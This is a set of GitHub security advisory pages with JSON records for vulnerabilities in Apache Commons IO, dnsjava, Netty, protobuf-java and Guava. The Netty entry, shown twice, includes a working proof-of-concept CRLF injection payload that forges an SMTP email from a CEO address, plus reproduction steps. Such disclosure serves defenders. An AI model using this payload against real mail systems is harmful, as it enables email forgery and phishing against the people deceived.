  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-03T16:52:23Z",
    "nvd_published_at": "2024-10-03T12:15:02Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in Apache Commons IO.\n\nThe `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input.\n\n\nThis issue affects Apache Commons IO: from 2.0 before 2.14.0.\n\nUsers are recommended to upgrade to version 2.14.0 or later, which fixes the issue.",
  "id": "GHSA-78wr-2p64-hpwj",
  "modified": "2025-01-31T15:30:42Z",
  "published": "2024-10-03T12:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47554"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/commons-io"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/6ozr91rr9cj5lm0zyhv30bsp317hk5z1"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250131-0010"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/10/03/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Commons IO: Possible denial of service attack on untrusted input to XmlStreamReader"
}

GHSA-CFXW-4H78-H7FW

Vulnerability from github – Published: 2024-07-22 14:33 – Updated: 2024-09-04 14:24

Summary

DNSJava DNSSEC Bypass

Details

Summary

Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.

Details

DNS Messages are not authenticated. They do not guarantee that

received RRs are authentic
not received RRs do not exist
all or any received records in a response relate to the request

Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)

denote by QNAME the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases
if the ANSWER section contains a valid PTR RRSet for QNAME, return it (and optionally return the list of aliases as well)
if the ANSWER section contains a valid CNAME RRSet for QNAME, add it to the list of aliases. Set QNAME to the CNAME's target and go to 2.
Verify that QNAME does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return null.

Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.

dnsjava does not implement a comparable algorithm, and the provided APIs instead return either

the received DNS message itself (e.g. when using a ValidatingResolver such as in this example), or
essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in this example)

If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can

In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or
completely exchange the relevant response records

Impact

DNS(SEC) libraries are usually used as part of a larger security framework. Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. Here are three concrete examples of where this might be detrimental:

RFC 6186 specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.
When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.
Some research projects like LIGHTest are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.

Mitigations

At this point, the following mitigations are recommended:

When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).
For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. LookupSession.lookupAsync.
Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.

Severity ?

8.9 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

7.0 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "dnsjava:dnsjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-22T14:33:41Z",
    "nvd_published_at": "2024-07-22T14:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nRecords in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.\n\n### Details\n\nDNS Messages are not authenticated. They do not guarantee that\n\n- received RRs are authentic\n- not received RRs do not exist\n- all or any received records in a response relate to the request\n\nApplications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two.\nTo meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)\n\n1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases\n2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well)\n3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME\u0027s target and go to 2.\n4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`.\n\nNote that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.\n\ndnsjava does not implement a comparable algorithm, and the provided APIs instead return either\n\n- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or\n- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example)\n\nIf applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can\n\n- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or\n- completely exchange the relevant response records\n\n### Impact\n\nDNS(SEC) libraries are usually used as part of a larger security framework.\nTherefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request.\nHere are three concrete examples of where this might be detrimental:\n\n- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user\u0027s credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.\n- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.\n- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.\n\n### Mitigations\n\nAt this point, the following mitigations are recommended:\n\n- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).\n- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`.\n- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.",
  "id": "GHSA-cfxw-4h78-h7fw",
  "modified": "2024-09-04T14:24:15Z",
  "published": "2024-07-22T14:33:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/security/advisories/GHSA-cfxw-4h78-h7fw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/commit/2073a0cdea2c560465f7ac0cc56f202e6fc39705"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dnsjava/dnsjava"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DNSJava DNSSEC Bypass"
}

GHSA-JQ43-27X9-3V86

Vulnerability from github – Published: 2025-10-15 17:12 – Updated: 2025-10-17 21:32

Summary

Netty has SMTP Command Injection Vulnerability that Allows Email Forgery

Details

Summary

An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.

Details

The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters.

The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.

Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client.

PoC

A minimal PoC involves passing a crafted string containing CRLF sequences to any SmtpRequest that accepts user-controlled parameters.

1. Malicious Payload

The core of the exploit is the payload, where new SMTP commands are injected into a parameter.

// The legitimate recipient is followed by an injected email sequence
String injected_recipient = "legit-recipient@example.com\r\n" +
                          "MAIL FROM:<ceo@trusted-domain.com>\r\n" +
                          "RCPT TO:<victim@anywhere.com>\r\n" +
                          "DATA\r\n" +
                          "From: ceo@trusted-domain.com\r\n" +
                          "To: victim@anywhere.com\r\n" +
                          "Subject: Urgent: Phishing Email\r\n" +
                          "\r\n" +
                          "This is a forged email that will pass authentication checks.\r\n" +
                          ".\r\n" +
                          "QUIT\r\n";

2. Triggering the Vulnerability

The vulnerability is triggered when this payload is used to create an SMTP request.

// The Netty SMTP codec will fail to sanitize this input
SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);

// When this request is sent to an SMTP server, the injected commands
// will be executed, sending a forged email.
channel.writeAndFlush(maliciousRequest);

3. Full Reproduction Steps

A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server

Full PoC Code: https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c

To run the full PoC:

Set up a local SMTP server. The easiest way is using MailHog:
- On macOS: brew install mailhog && mailhog
- Using Docker: docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog
Run the PoC code. The code will connect to the SMTP server at localhost:1025 and send the malicious payload.
Verify the result. Open the MailHog web UI at http://localhost:8025. You will see the forged email sent to victim@anywhere.com from ceo@trusted-domain.com.

Impact

This is a SMTP Command Injection vulnerability. It impacts any application using netty-codec-smtp to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., from, recipient, helo hostname).

The primary impacts are: * Economic Manipulation & Disinformation: Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. * Sophisticated Phishing: Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.

Severity ?

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-smtp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.7.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-smtp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.128.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T17:12:55Z",
    "nvd_published_at": "2025-10-15T16:15:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn SMTP Command Injection (CRLF Injection) vulnerability in Netty\u0027s SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.\n\n### Details\nThe root cause is the lack of input validation for Carriage Return (\\r) and Line Feed (\\n) characters in user-supplied parameters.\n\nThe vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.\n\nBecause the injected commands are sent from the server\u0027s trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim\u0027s email client.\n\n### PoC\nA minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters.\n\n**1. Malicious Payload**\n\nThe core of the exploit is the payload, where new SMTP commands are injected into a parameter.\n\n```java\n// The legitimate recipient is followed by an injected email sequence\nString injected_recipient = \"legit-recipient@example.com\\r\\n\" +\n                          \"MAIL FROM:\u003cceo@trusted-domain.com\u003e\\r\\n\" +\n                          \"RCPT TO:\u003cvictim@anywhere.com\u003e\\r\\n\" +\n                          \"DATA\\r\\n\" +\n                          \"From: ceo@trusted-domain.com\\r\\n\" +\n                          \"To: victim@anywhere.com\\r\\n\" +\n                          \"Subject: Urgent: Phishing Email\\r\\n\" +\n                          \"\\r\\n\" +\n                          \"This is a forged email that will pass authentication checks.\\r\\n\" +\n                          \".\\r\\n\" +\n                          \"QUIT\\r\\n\";\n```\n\n**2. Triggering the Vulnerability**\n\nThe vulnerability is triggered when this payload is used to create an SMTP request.\n\n```java\n// The Netty SMTP codec will fail to sanitize this input\nSmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);\n\n// When this request is sent to an SMTP server, the injected commands\n// will be executed, sending a forged email.\nchannel.writeAndFlush(maliciousRequest);\n```\n\n**3. Full Reproduction Steps**\n\nA complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server\n\n*   **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c\n\nTo run the full PoC:\n\n1.  **Set up a local SMTP server.** The easiest way is using MailHog:\n    *   On macOS: `brew install mailhog \u0026\u0026 mailhog`\n    *   Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog`\n2.  **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload.\n3.  **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`.\n\n### Impact\nThis is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname).\n\nThe primary impacts are:\n*   **Economic Manipulation \u0026 Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption.\n*   **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.",
  "id": "GHSA-jq43-27x9-3v86",
  "modified": "2025-10-17T21:32:39Z",
  "published": "2025-10-15T17:12:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59419"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/1782e8c2060a244c4d4e6f9d9112d5517ca05120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/2b3fddd3339cde1601f622b9ce5e54c39f24c3f9"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://www.depthfirst.com/post/our-ai-agent-found-a-netty-zero-day-that-bypasses-email-authentication-the-story-of-cve-2025-59419"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has SMTP Command Injection Vulnerability that Allows Email Forgery"
}

GHSA-4GG5-VX3J-XWC7

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:38

Summary

Protobuf Java vulnerable to Uncontrolled Resource Consumption

Details

A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-12T22:34:26Z",
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
  "id": "GHSA-4gg5-vx3j-xwc7",
  "modified": "2025-09-02T19:38:11Z",
  "published": "2022-12-12T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/db7c17803320525722f45c1d26fc08bc41d1bf48"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}

GHSA-5MG8-W23W-74H3

Vulnerability from github – Published: 2021-03-25 17:04 – Updated: 2026-02-23 22:45

Summary

Information Disclosure in Guava

Details

A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava com.google.common.io.Files.createTempDir(). The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.

Severity ?

3.3 (Low)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

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To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "32.0.0-android"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-173",
      "CWE-200",
      "CWE-378",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-25T17:01:09Z",
    "nvd_published_at": "2020-12-10T23:15:00Z",
    "severity": "LOW"
  },
  "details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.",
  "id": "GHSA-5mg8-w23w-74h3",
  "modified": "2026-02-23T22:45:53Z",
  "published": "2021-03-25T17:04:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/4011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/4011#issuecomment-1578991974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
    },
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  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Information Disclosure in Guava"
}

GHSA-MVR2-9PJ6-7W5J

Vulnerability from github – Published: 2020-06-15 20:35 – Updated: 2023-09-07 22:25

Summary

Denial of Service in Google Guava

Details

Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.

Severity ?

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0"
            },
            {
              "fixed": "24.1.1-android"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava-jdk5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.googlecode.guava-osgi:guava-osgi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "11.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "de.mhus.ports:vaadin-shared-deps"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "7.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.hudsonci.lib.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "14.0.1-h-3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sonatype.sisu:sisu-guava"
      },
      "versions": [
        "0.11.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2018-10237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-11T18:34:57Z",
    "nvd_published_at": "2018-04-26T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.",
  "id": "GHSA-mvr2-9pj6-7w5j",
  "modified": "2023-09-07T22:25:36Z",
  "published": "2020-06-15T20:35:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10237"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2423"
    },
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      "url": "https://lists.apache.org/thread.html/rdc56c15693c236e31e1e95f847b8e5e74fc0a05741d47488e7fc8c45@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220629-0008"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2424"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2425"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2428"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2598"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2643"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2740"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2741"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2742"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2743"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2927"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2858"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3149"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/google/guava"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/wiki/CVE-2018-10237"
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    {
      "type": "WEB",
      "url": "https://groups.google.com/d/topic/guava-announce/xqWALw4W1vs/discussion"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/053d9ce4d579b02203db18545fee5e33f35f2932885459b74d1e4272@%3Cissues.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/19fa48533bc7ea1accf6b12746a74ed888ae6e49a5cf81ae4f807495@%3Ccommon-dev.hadoop.apache.org%3E"
